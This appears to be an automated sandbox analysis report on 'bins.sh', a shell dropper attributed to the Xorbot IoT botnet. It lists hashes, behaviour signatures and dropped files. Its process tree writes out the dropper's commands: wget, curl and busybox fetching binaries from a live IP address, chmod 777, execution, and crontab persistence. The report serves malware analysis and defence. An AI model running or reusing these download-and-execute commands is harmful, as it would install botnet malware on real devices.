Analysis

  • max time kernel
    149s
  • max time network
    100s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-12-2024 04:20

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    48e22140eccdbc0e1791d3cfbd21b9a1

  • SHA1

    d857ca79cfcd50ab3af92a32ced5fba96e8fb286

  • SHA256

    e442d2493ef24372a63ca01790525986f2c74fe48f056a8bbcc93247556304e5

  • SHA512

    189e5ff3380834746664f5e1cf60f37d67c1b7f3e2e846ff497e5688f77c6073ccc2f448270f7f7c4d25cc54b929c9f07395e2e77351f222cfb5c7711e98719c

  • SSDEEP

    192:L29ANYNCkCsC0CvCzCOb4L/2ePeu33D69AlCkCsC0CvCzC0L/2ePeun:LBYNCkCsC0CvCzCOb4L/2ePeu33DdCkX

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:670
        • /usr/bin/wget
          wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:691
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Writes file to tmp directory
          PID:700
        • /bin/chmod
          chmod 777 WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • File and Directory Permissions Modification
          PID:702
        • /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          ./WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Executes dropped EXE
          PID:703
        • /bin/rm
          rm WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
            PID:705
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Writes file to tmp directory
            PID:706
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:707
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Writes file to tmp directory
            PID:710
          • /bin/chmod
            chmod 777 4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • File and Directory Permissions Modification
            PID:714
          • /tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            ./4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Executes dropped EXE
            PID:715
          • /bin/rm
            rm 4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
              PID:718
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Writes file to tmp directory
              PID:719
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:725
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Writes file to tmp directory
              PID:733
            • /bin/chmod
              chmod 777 WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • File and Directory Permissions Modification
              PID:737
            • /tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              ./WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Executes dropped EXE
              PID:738
            • /bin/rm
              rm WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
                PID:741
              • /usr/bin/wget
                wget http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Writes file to tmp directory
                PID:742
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:748
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Writes file to tmp directory
                PID:760
              • /bin/chmod
                chmod 777 KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • File and Directory Permissions Modification
                PID:764
              • /tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                ./KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Executes dropped EXE
                PID:766
              • /bin/rm
                rm KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                  PID:769
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Writes file to tmp directory
                  PID:770
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:773
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /bin/chmod
                  chmod 777 7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • File and Directory Permissions Modification
                  PID:789
                • /tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  ./7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:791
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:793
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:794
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:796
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:797
                      • /bin/rm
                        rm 7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                        2⤵
                          PID:802
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                          2⤵
                            PID:806
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                            2⤵
                              PID:807
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                              • Writes file to tmp directory
                              PID:809
                            • /bin/chmod
                              chmod 777 U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                              • File and Directory Permissions Modification
                              PID:814
                            • /tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              ./U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                              • Executes dropped EXE
                              PID:816
                            • /bin/rm
                              rm U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                                PID:817
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                2⤵
                                  PID:818

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /var/spool/cron/crontabs/tmp.4wPPdl

                                Filesize

                                210B

                                MD5

                                b669fd081943176042ffdcc61d89ef7b

                                SHA1

                                a9eb4baa16d286228dd46d223829abf3c0436ef7

                                SHA256

                                81652309cee2999de55ba0d3bed426fe107a3855a96cabce3d28873ade37bb13

                                SHA512

                                651fe5bda71eceb7c9df32c8394830202368929168b92154b192b2346d674638f21a2dbb9247c6a267f647a7246d65e1a7821736f34dd29686cfec581ec4a395